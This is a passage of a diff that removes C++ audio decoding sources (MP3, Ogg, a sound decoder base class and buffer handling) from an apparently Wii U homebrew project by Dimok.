||||
//!> Switch to next buffer
|
||||
void LoadNext();
|
||||
//!> Get the current buffer
|
||||
u8 * GetBuffer() { return GetBuffer(which); };
|
||||
//!> Get a buffer at a position
|
||||
u8 * GetBuffer(int pos) { if(!Valid(pos)) return NULL; else return SoundBuffer[pos]; };
|
||||
//!> Get current buffer size
|
||||
u32 GetBufferSize() { return GetBufferSize(which); };
|
||||
//!> Get buffer size at position
|
||||
u32 GetBufferSize(int pos) { if(!Valid(pos)) return 0; else return BufferSize[pos]; };
|
||||
//!> Is current buffer ready
|
||||
bool IsBufferReady() { return IsBufferReady(which); };
|
||||
//!> Is a buffer at a position ready
|
||||
bool IsBufferReady(int pos) { if(!Valid(pos)) return false; else return BufferReady[pos]; };
|
||||
//!> Set a buffer at a position to a ready state
|
||||
void SetBufferReady(int pos, bool st);
|
||||
//!> Set the buffersize at a position
|
||||
void SetBufferSize(int pos, int size);
|
||||
//!> Get the current position in the circle
|
||||
u16 Which() { return which; };
|
||||
|
||||
//!> Get the next location
|
||||
inline u16 Next() { return (which+1 >= Size()) ? 0 : which+1; }
|
||||
inline u16 Prev() { if(Size() == 0) return 0; else return ((int)which-1 < 0) ? Size()-1 : which-1; }
|
||||
protected:
|
||||
//!> Check if the position is a valid position in the vector
|
||||
bool Valid(int pos) { return !(pos < 0 || pos >= Size()); };
|
||||
|
||||
u16 which;
|
||||
u32 BufferBlockSize;
|
||||
std::vector<u8 *> SoundBuffer;
|
||||
std::vector<u32> BufferSize;
|
||||
std::vector<bool> BufferReady;
|
||||
};
|
||||
|
||||
#endif
|
@ -1,217 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#include <string>
|
||||
#include <string.h>
|
||||
#include <limits.h>
|
||||
#include <unistd.h>
|
||||
#include <malloc.h>
|
||||
#include <math.h>
|
||||
#include "common/types.h"
|
||||
#include "Mp3Decoder.hpp"
|
||||
|
||||
Mp3Decoder::Mp3Decoder(const char * filepath)
|
||||
: SoundDecoder(filepath)
|
||||
{
|
||||
SoundType = SOUND_MP3;
|
||||
ReadBuffer = NULL;
|
||||
mad_timer_reset(&Timer);
|
||||
mad_stream_init(&Stream);
|
||||
mad_frame_init(&Frame);
|
||||
mad_synth_init(&Synth);
|
||||
|
||||
if(!file_fd)
|
||||
return;
|
||||
|
||||
OpenFile();
|
||||
}
|
||||
|
||||
Mp3Decoder::Mp3Decoder(const u8 * snd, int len)
|
||||
: SoundDecoder(snd, len)
|
||||
{
|
||||
SoundType = SOUND_MP3;
|
||||
ReadBuffer = NULL;
|
||||
mad_timer_reset(&Timer);
|
||||
mad_stream_init(&Stream);
|
||||
mad_frame_init(&Frame);
|
||||
mad_synth_init(&Synth);
|
||||
|
||||
if(!file_fd)
|
||||
return;
|
||||
|
||||
OpenFile();
|
||||
}
|
||||
|
||||
Mp3Decoder::~Mp3Decoder()
|
||||
{
|
||||
ExitRequested = true;
|
||||
while(Decoding)
|
||||
usleep(100);
|
||||
|
||||
mad_synth_finish(&Synth);
|
||||
mad_frame_finish(&Frame);
|
||||
mad_stream_finish(&Stream);
|
||||
|
||||
if(ReadBuffer)
|
||||
free(ReadBuffer);
|
||||
ReadBuffer = NULL;
|
||||
}
|
||||
|
||||
void Mp3Decoder::OpenFile()
|
||||
{
|
||||
GuardPtr = NULL;
|
||||
ReadBuffer = (u8 *) memalign(32, SoundBlockSize*SoundBlocks);
|
||||
if(!ReadBuffer)
|
||||
{
|
||||
if(file_fd)
|
||||
delete file_fd;
|
||||
file_fd = NULL;
|
||||
return;
|
||||
}
|
||||
|
||||
u8 dummybuff[4096];
|
||||
int ret = Read(dummybuff, 4096, 0);
|
||||
if(ret <= 0)
|
||||
{
|
||||
if(file_fd)
|
||||
delete file_fd;
|
||||
file_fd = NULL;
|
||||
return;
|
||||
}
|
||||
|
||||
SampleRate = (u32) Frame.header.samplerate;
|
||||
Format = ((MAD_NCHANNELS(&Frame.header) == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO));
|
||||
Rewind();
|
||||
}
|
||||
|
||||
int Mp3Decoder::Rewind()
|
||||
{
|
||||
mad_synth_finish(&Synth);
|
||||
mad_frame_finish(&Frame);
|
||||
mad_stream_finish(&Stream);
|
||||
mad_timer_reset(&Timer);
|
||||
mad_stream_init(&Stream);
|
||||
mad_frame_init(&Frame);
|
||||
mad_synth_init(&Synth);
|
||||
SynthPos = 0;
|
||||
GuardPtr = NULL;
|
||||
|
||||
if(!file_fd)
|
||||
return -1;
|
||||
|
||||
return SoundDecoder::Rewind();
|
||||
}
|
||||
|
||||
static inline s16 FixedToShort(mad_fixed_t Fixed)
|
||||
{
|
||||
/* Clipping */
|
||||
if(Fixed>=MAD_F_ONE)
|
||||
return(SHRT_MAX);
|
||||
if(Fixed<=-MAD_F_ONE)
|
||||
return(-SHRT_MAX);
|
||||
|
||||
Fixed=Fixed>>(MAD_F_FRACBITS-15);
|
||||
return((s16)Fixed);
|
||||
}
|
||||
|
||||
int Mp3Decoder::Read(u8 * buffer, int buffer_size, int pos)
|
||||
{
|
||||
if(!file_fd)
|
||||
return -1;
|
||||
|
||||
if(Format == (FORMAT_PCM_16_BIT | CHANNELS_STEREO))
|
||||
buffer_size &= ~0x0003;
|
||||
else
|
||||
buffer_size &= ~0x0001;
|
||||
|
||||
u8 * write_pos = buffer;
|
||||
u8 * write_end = buffer+buffer_size;
|
||||
|
||||
while(1)
|
||||
{
|
||||
while(SynthPos < Synth.pcm.length)
|
||||
{
|
||||
if(write_pos >= write_end)
|
||||
return write_pos-buffer;
|
||||
|
||||
*((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[0][SynthPos]);
|
||||
write_pos += 2;
|
||||
|
||||
if(MAD_NCHANNELS(&Frame.header) == 2)
|
||||
{
|
||||
*((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[1][SynthPos]);
|
||||
write_pos += 2;
|
||||
}
|
||||
SynthPos++;
|
||||
}
|
||||
|
||||
if(Stream.buffer == NULL || Stream.error == MAD_ERROR_BUFLEN)
|
||||
{
|
||||
u8 * ReadStart = ReadBuffer;
|
||||
int ReadSize = SoundBlockSize*SoundBlocks;
|
||||
int Remaining = 0;
|
||||
|
||||
if(Stream.next_frame != NULL)
|
||||
{
|
||||
Remaining = Stream.bufend - Stream.next_frame;
|
||||
memmove(ReadBuffer, Stream.next_frame, Remaining);
|
||||
ReadStart += Remaining;
|
||||
ReadSize -= Remaining;
|
||||
}
|
||||
|
||||
ReadSize = file_fd->read(ReadStart, ReadSize);
|
||||
if(ReadSize <= 0)
|
||||
{
|
||||
GuardPtr = ReadStart;
|
||||
memset(GuardPtr, 0, MAD_BUFFER_GUARD);
|
||||
ReadSize = MAD_BUFFER_GUARD;
|
||||
}
|
||||
|
||||
CurPos += ReadSize;
|
||||
mad_stream_buffer(&Stream, ReadBuffer, Remaining+ReadSize);
|
||||
}
|
||||
|
||||
if(mad_frame_decode(&Frame,&Stream))
|
||||
{
|
||||
if(MAD_RECOVERABLE(Stream.error))
|
||||
{
|
||||
if(Stream.error != MAD_ERROR_LOSTSYNC || !GuardPtr)
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
if(Stream.error != MAD_ERROR_BUFLEN)
|
||||
return -1;
|
||||
else if(Stream.error == MAD_ERROR_BUFLEN && GuardPtr)
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
mad_timer_add(&Timer,Frame.header.duration);
|
||||
mad_synth_frame(&Synth,&Frame);
|
||||
SynthPos = 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
@ -1,47 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#include <mad.h>
|
||||
|
||||
#include "SoundDecoder.hpp"
|
||||
|
||||
class Mp3Decoder : public SoundDecoder
|
||||
{
|
||||
public:
|
||||
Mp3Decoder(const char * filepath);
|
||||
Mp3Decoder(const u8 * sound, int len);
|
||||
virtual ~Mp3Decoder();
|
||||
int Rewind();
|
||||
int Read(u8 * buffer, int buffer_size, int pos);
|
||||
protected:
|
||||
void OpenFile();
|
||||
struct mad_stream Stream;
|
||||
struct mad_frame Frame;
|
||||
struct mad_synth Synth;
|
||||
mad_timer_t Timer;
|
||||
u8 * GuardPtr;
|
||||
u8 * ReadBuffer;
|
||||
u32 SynthPos;
|
||||
};
|
@ -1,137 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#include <unistd.h>
|
||||
#include <malloc.h>
|
||||
#include "OggDecoder.hpp"
|
||||
|
||||
static int ogg_read(void * punt, int bytes, int blocks, int *f)
|
||||
{
|
||||
return ((CFile *) f)->read((u8 *) punt, bytes*blocks);
|
||||
}
|
||||
|
||||
static int ogg_seek(int *f, ogg_int64_t offset, int mode)
|
||||
{
|
||||
return ((CFile *) f)->seek((u64) offset, mode);
|
||||
}
|
||||
|
||||
static int ogg_close(int *f)
|
||||
{
|
||||
((CFile *) f)->close();
|
||||
return 0;
|
||||
}
|
||||
|
||||
static long ogg_tell(int *f)
|
||||
{
|
||||
return (long) ((CFile *) f)->tell();
|
||||
}
|
||||
|
||||
static ov_callbacks callbacks = {
|
||||
(size_t (*)(void *, size_t, size_t, void *)) ogg_read,
|
||||
(int (*)(void *, ogg_int64_t, int)) ogg_seek,
|
||||
(int (*)(void *)) ogg_close,
|
||||
(long (*)(void *)) ogg_tell
|
||||
};
|
||||
|
||||
OggDecoder::OggDecoder(const char * filepath)
|
||||
: SoundDecoder(filepath)
|
||||
{
|
||||
SoundType = SOUND_OGG;
|
||||
|
||||
if(!file_fd)
|
||||
return;
|
||||
|
||||
OpenFile();
|
||||
}
|
||||
|
||||
OggDecoder::OggDecoder(const u8 * snd, int len)
|
||||
: SoundDecoder(snd, len)
|
||||
{
|
||||
SoundType = SOUND_OGG;
|
||||
|
||||
if(!file_fd)
|
||||
return;
|
||||
|
||||
OpenFile();
|
||||
}
|
||||
|
||||
OggDecoder::~OggDecoder()
|
||||
{
|
||||
ExitRequested = true;
|
||||
while(Decoding)
|
||||
usleep(100);
|
||||
|
||||
if(file_fd)
|
||||
ov_clear(&ogg_file);
|
||||
}
|
||||
|
||||
void OggDecoder::OpenFile()
|
||||
{
|
||||
if (ov_open_callbacks(file_fd, &ogg_file, NULL, 0, callbacks) < 0)
|
||||
{
|
||||
delete file_fd;
|
||||
file_fd = NULL;
|
||||
return;
|
||||
}
|
||||
|
||||
ogg_info = ov_info(&ogg_file, -1);
|
||||
if(!ogg_info)
|
||||
{
|
||||
ov_clear(&ogg_file);
|
||||
delete file_fd;
|
||||
file_fd = NULL;
|
||||
return;
|
||||
}
|
||||
|
||||
Format = ((ogg_info->channels == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO));
|
||||
SampleRate = ogg_info->rate;
|
||||
}
|
||||
|
||||
int OggDecoder::Rewind()
|
||||
{
|
||||
if(!file_fd)
|
||||
return -1;
|
||||
|
||||
int ret = ov_time_seek(&ogg_file, 0);
|
||||
CurPos = 0;
|
||||
EndOfFile = false;
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
int OggDecoder::Read(u8 * buffer, int buffer_size, int pos)
|
||||
{
|
||||
if(!file_fd)
|
||||
return -1;
|
||||
|
||||
int bitstream = 0;
|
||||
|
||||
int read = ov_read(&ogg_file, (char *) buffer, buffer_size, &bitstream);
|
||||
|
||||
if(read > 0)
|
||||
CurPos += read;
|
||||
|
||||
return read;
|
||||
}
|
@ -1,43 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#include <tremor/ivorbiscodec.h>
|
||||
#include <tremor/ivorbisfile.h>
|
||||
|
||||
#include "SoundDecoder.hpp"
|
||||
|
||||
class OggDecoder : public SoundDecoder
|
||||
{
|
||||
public:
|
||||
OggDecoder(const char * filepath);
|
||||
OggDecoder(const u8 * snd, int len);
|
||||
virtual ~OggDecoder();
|
||||
int Rewind();
|
||||
int Read(u8 * buffer, int buffer_size, int pos);
|
||||
protected:
|
||||
void OpenFile();
|
||||
OggVorbis_File ogg_file;
|
||||
vorbis_info *ogg_info;
|
||||
};
|
@ -1,224 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2009-2013 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <coreinit/cache.h>
|
||||
#include "SoundDecoder.hpp"
|
||||
|
||||
static const u32 FixedPointShift = 15;
|
||||
static const u32 FixedPointScale = 1 << FixedPointShift;
|
||||
|
||||
SoundDecoder::SoundDecoder()
|
||||
{
|
||||
file_fd = NULL;
|
||||
Init();
|
||||
}
|
||||
|
||||
SoundDecoder::SoundDecoder(const std::string & filepath)
|
||||
{
|
||||
file_fd = new CFile(filepath, CFile::ReadOnly);
|
||||
Init();
|
||||
}
|
||||
|
||||
SoundDecoder::SoundDecoder(const u8 * buffer, int size)
|
||||
{
|
||||
file_fd = new CFile(buffer, size);
|
||||
Init();
|
||||
}
|
||||
|
||||
SoundDecoder::~SoundDecoder()
|
||||
{
|
||||
ExitRequested = true;
|
||||
while(Decoding)
|
||||
usleep(1000);
|
||||
|
||||
//! lock unlock once to make sure it's really not decoding
|
||||
Lock();
|
||||
Unlock();
|
||||
|
||||
if(file_fd)
|
||||
delete file_fd;
|
||||
file_fd = NULL;
|
||||
|
||||
if(ResampleBuffer)
|
||||
free(ResampleBuffer);
|
||||
}
|
||||
|
||||
void SoundDecoder::Init()
|
||||
{
|
||||
SoundType = SOUND_RAW;
|
||||
SoundBlocks = 8;
|
||||
SoundBlockSize = 0x4000;
|
||||
ResampleTo48kHz = false;
|
||||
CurPos = 0;
|
||||
whichLoad = 0;
|
||||
Loop = false;
|
||||
EndOfFile = false;
|
||||
Decoding = false;
|
||||
ExitRequested = false;
|
||||
SoundBuffer.SetBufferBlockSize(SoundBlockSize);
|
||||
SoundBuffer.Resize(SoundBlocks);
|
||||
ResampleBuffer = NULL;
|
||||
ResampleRatio = 0;
|
||||
}
|
||||
|
||||
int SoundDecoder::Rewind()
|
||||
{
|
||||
CurPos = 0;
|
||||
EndOfFile = false;
|
||||
file_fd->rewind();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int SoundDecoder::Read(u8 * buffer, int buffer_size, int pos)
|
||||
{
|
||||
int ret = file_fd->read(buffer, buffer_size);
|
||||
CurPos += ret;
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
void SoundDecoder::EnableUpsample(void)
|
||||
{
|
||||
if( (ResampleBuffer == NULL)
|
||||
&& IsStereo() && Is16Bit()
|
||||
&& SampleRate != 32000
|
||||
&& SampleRate != 48000)
|
||||
{
|
||||
ResampleBuffer = (u8*)memalign(32, SoundBlockSize);
|
||||
ResampleRatio = ( FixedPointScale * SampleRate ) / 48000;
|
||||
SoundBlockSize = ( SoundBlockSize * ResampleRatio ) / FixedPointScale;
|
||||
SoundBlockSize &= ~0x03;
|
||||
// set new sample rate
|
||||
SampleRate = 48000;
|
||||
}
|
||||
}
|
||||
|
||||
void SoundDecoder::Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples)
|
||||
{
|
||||
int timer = 0;
|
||||
|
||||
for(u32 i = 0, n = 0; i < nr_dst_samples; i += 2)
|
||||
{
|
||||
if((n+3) < nr_src_samples) {
|
||||
// simple fixed point linear interpolation
|
||||
dst[i] = src[n] + ( ((src[n+2] - src[n] ) * timer) >> FixedPointShift );
|
||||
dst[i+1] = src[n+1] + ( ((src[n+3] - src[n+1]) * timer) >> FixedPointShift );
|
||||
}
|
||||
else {
|
||||
dst[i] = src[n];
|
||||
dst[i+1] = src[n+1];
|
||||
}
|
||||
|
||||
timer += ResampleRatio;
|
||||
|
||||
if(timer >= (int)FixedPointScale) {
|
||||
n += 2;
|
||||
timer -= FixedPointScale;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void SoundDecoder::Decode()
|
||||
{
|
||||
if(!file_fd || ExitRequested || EndOfFile)
|
||||
return;
|
||||
|
||||
// check if we are not at the pre-last buffer (last buffer is playing)
|
||||
u16 whichPlaying = SoundBuffer.Which();
|
||||
if( ((whichPlaying == 0) && (whichLoad == SoundBuffer.Size()-2))
|
||||
|| ((whichPlaying == 1) && (whichLoad == SoundBuffer.Size()-1))
|
||||
|| (whichLoad == (whichPlaying-2)))
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
Decoding = true;
|
||||
|
||||
int done = 0;
|
||||
u8 * write_buf = SoundBuffer.GetBuffer(whichLoad);
|
||||
if(!write_buf)
|
||||
{
|
||||
ExitRequested = true;
|
||||
Decoding = false;
|
||||
return;
|
||||
}
|
||||
|
||||
if(ResampleTo48kHz && !ResampleBuffer)
|
||||
EnableUpsample();
|
||||
|
||||
while(done < SoundBlockSize)
|
||||
{
|
||||
int ret = Read(&write_buf[done], SoundBlockSize-done, Tell());
|
||||
|
||||
if(ret <= 0)
|
||||
{
|
||||
if(Loop)
|
||||
{
|
||||
Rewind();
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
EndOfFile = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
done += ret;
|
||||
}
|
||||
|
||||
if(done > 0)
|
||||
{
|
||||
// check if we need to resample
|
||||
if(ResampleBuffer && ResampleRatio)
|
||||
{
|
||||
memcpy(ResampleBuffer, write_buf, done);
|
||||
|
||||
int src_samples = done >> 1;
|
||||
int dest_samples = ( src_samples * FixedPointScale ) / ResampleRatio;
|
||||
dest_samples &= ~0x01;
|
||||
Upsample((s16*)ResampleBuffer, (s16*)write_buf, src_samples, dest_samples);
|
||||
done = dest_samples << 1;
|
||||
}
|
||||
|
||||
//! TODO: remove this later and add STEREO support with two voices, for now we convert to MONO
|
||||
if(IsStereo())
|
||||
{
|
||||
s16* monoBuf = (s16*)write_buf;
|
||||
done = done >> 1;
|
||||
|
||||
for(int i = 0; i < done; i++)
|
||||
monoBuf[i] = monoBuf[i << 1];
|
||||
}
|
||||
|
||||
DCFlushRange(write_buf, done);
|
||||
SoundBuffer.SetBufferSize(whichLoad, done);
|
||||
SoundBuffer.SetBufferReady(whichLoad, true);
|
||||
if(++whichLoad >= SoundBuffer.Size())
|
||||
whichLoad = 0;
|
||||
}
|
||||
|
||||
// check if next in queue needs to be filled as well and do so
|
||||
if(!SoundBuffer.IsBufferReady(whichLoad))
|
||||
Decode();
|
||||
|
||||
Decoding = false;
|
||||
}
|
||||
|
@ -1,105 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#ifndef SOUND_DECODER_HPP
|
||||
#define SOUND_DECODER_HPP
|
||||
|
||||
#include "fs/CFile.hpp"
|
||||
#include "system/CMutex.h"
|
||||
#include "BufferCircle.hpp"
|
||||
|
||||
class SoundDecoder
|
||||
{
|
||||
public:
|
||||
SoundDecoder();
|
||||
SoundDecoder(const std::string & filepath);
|
||||
SoundDecoder(const u8 * buffer, int size);
|
||||
virtual ~SoundDecoder();
|
||||
virtual void Lock() { mutex.lock(); }
|
||||
virtual void Unlock() { mutex.unlock(); }
|
||||
virtual int Read(u8 * buffer, int buffer_size, int pos);
|
||||
virtual int Tell() { return CurPos; }
|
||||
virtual int Seek(int pos) { CurPos = pos; return file_fd->seek(CurPos, SEEK_SET); }
|
||||
virtual int Rewind();
|
||||
virtual u16 GetFormat() { return Format; }
|
||||
virtual u16 GetSampleRate() { return SampleRate; }
|
||||
virtual void Decode();
|
||||
virtual bool IsBufferReady() { return SoundBuffer.IsBufferReady(); }
|
||||
virtual u8 * GetBuffer() { return SoundBuffer.GetBuffer(); }
|
||||
virtual u32 GetBufferSize() { return SoundBuffer.GetBufferSize(); }
|
||||
virtual void LoadNext() { SoundBuffer.LoadNext(); }
|
||||
virtual bool IsEOF() { return EndOfFile; }
|
||||
virtual void SetLoop(bool l) { Loop = l; EndOfFile = false; }
|
||||
virtual u8 GetSoundType() { return SoundType; }
|
||||
virtual void ClearBuffer() { SoundBuffer.ClearBuffer(); whichLoad = 0; }
|
||||
virtual bool IsStereo() { return (GetFormat() & CHANNELS_STEREO) != 0; }
|
||||
virtual bool Is16Bit() { return ((GetFormat() & 0xFF) == FORMAT_PCM_16_BIT); }
|
||||
virtual bool IsDecoding() { return Decoding; }
|
||||
|
||||
void EnableUpsample(void);
|
||||
|
||||
enum SoundFormats
|
||||
{
|
||||
FORMAT_PCM_16_BIT = 0x0A,
|
||||
FORMAT_PCM_8_BIT = 0x19,
|
||||
};
|
||||
enum SoundChannels
|
||||
{
|
||||
CHANNELS_MONO = 0x100,
|
||||
CHANNELS_STEREO = 0x200
|
||||
};
|
||||
|
||||
enum SoundType
|
||||
{
|
||||
SOUND_RAW = 0,
|
||||
SOUND_MP3,
|
||||
SOUND_OGG,
|
||||
SOUND_WAV
|
||||
};
|
||||
protected:
|
||||
void Init();
|
||||
void Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples);
|
||||
|
||||
CFile * file_fd;
|
||||
BufferCircle SoundBuffer;
|
||||
u8 SoundType;
|
||||
u16 whichLoad;
|
||||
u16 SoundBlocks;
|
||||
int SoundBlockSize;
|
||||
int CurPos;
|
||||
bool ResampleTo48kHz;
|
||||
bool Loop;
|
||||
bool EndOfFile;
|
||||
bool Decoding;
|
||||
bool ExitRequested;
|
||||
u16 Format;
|
||||
u16 SampleRate;
|
||||
u8 *ResampleBuffer;
|
||||
u32 ResampleRatio;
|
||||
CMutex mutex;
|
||||
};
|
||||
|
||||
|
||||
#endif
|
@ -1,358 +0,0 @@
|
||||
/***************************************************************************
|
||||
* Copyright (C) 2010
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
*
|
||||
* for WiiXplorer 2010
|
||||
***************************************************************************/
|
||||
#include <unistd.h>
|
||||
#include <malloc.h>
|
||||
#include "dynamic_libs/ax_functions.h"
|
||||
#include "common/common.h"
|
||||
#include "fs/CFile.hpp"
|
||||
#include "SoundHandler.hpp"
|
||||
#include "WavDecoder.hpp"
|
||||
#include "Mp3Decoder.hpp"
|
||||
#include "OggDecoder.hpp"
|
||||
|
||||
SoundHandler * SoundHandler::handlerInstance = NULL;
|
||||
|
||||
SoundHandler::SoundHandler()
|
||||
: CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x8000)
|
||||
{
|
||||
Decoding = false;
|
||||
ExitRequested = false;
|
||||
for(u32 i = 0; i < MAX_DECODERS; ++i)
|
||||
{
|
||||
DecoderList[i] = NULL;
|
||||
voiceList[i] = NULL;
|
||||
}
|
||||
|
||||
resumeThread();
|
||||
|
||||
//! wait for initialization
|
||||
while(!isThreadSuspended())
|
||||
usleep(1000);
|
||||
}
|
||||
|
||||
SoundHandler::~SoundHandler()
|
||||
{
|
||||
ExitRequested = true;
|
||||
ThreadSignal();
|
||||
|
||||
ClearDecoderList();
|
||||
}
|
||||
|
||||
void SoundHandler::AddDecoder(int voice, const char * filepath)
|
||||
{
|
||||
if(voice < 0 || voice >= MAX_DECODERS)
|
||||
return;
|
||||
|
||||
if(DecoderList[voice] != NULL)
|
||||
RemoveDecoder(voice);
|
||||
|
||||
DecoderList[voice] = GetSoundDecoder(filepath);
|
||||
}
|
||||
|
||||
void SoundHandler::AddDecoder(int voice, const u8 * snd, int len)
|
||||
{
|
||||
if(voice < 0 || voice >= MAX_DECODERS)
|
||||
return;
|
||||
|
||||
if(DecoderList[voice] != NULL)
|
||||
RemoveDecoder(voice);
|
||||
|
||||
DecoderList[voice] = GetSoundDecoder(snd, len);
|
||||
}
|
||||
|
||||
void SoundHandler::RemoveDecoder(int voice)
|
||||
{
|
||||
if(voice < 0 || voice >= MAX_DECODERS)
|
||||
return;
|
||||
|
||||
if(DecoderList[voice] != NULL)
|
||||
{
|
||||
if(voiceList[voice] && voiceList[voice]->getState() != Voice::STATE_STOPPED)
|
||||
{
|
||||
if(voiceList[voice]->getState() != Voice::STATE_STOP)
|
||||
voiceList[voice]->setState(Voice::STATE_STOP);
|
||||
|
||||
// it shouldn't take longer than 3 ms actually but we wait up to 20
|
||||
// on application quit the AX frame callback is not called anymore
|
||||
// therefore this would end in endless loop if no timeout is defined
|
||||
int timeOut = 20;
|
||||
while(--timeOut && (voiceList[voice]->getState() != Voice::STATE_STOPPED))
|
||||
usleep(1000);
|
||||
}
|
||||
SoundDecoder *decoder = DecoderList[voice];
|
||||
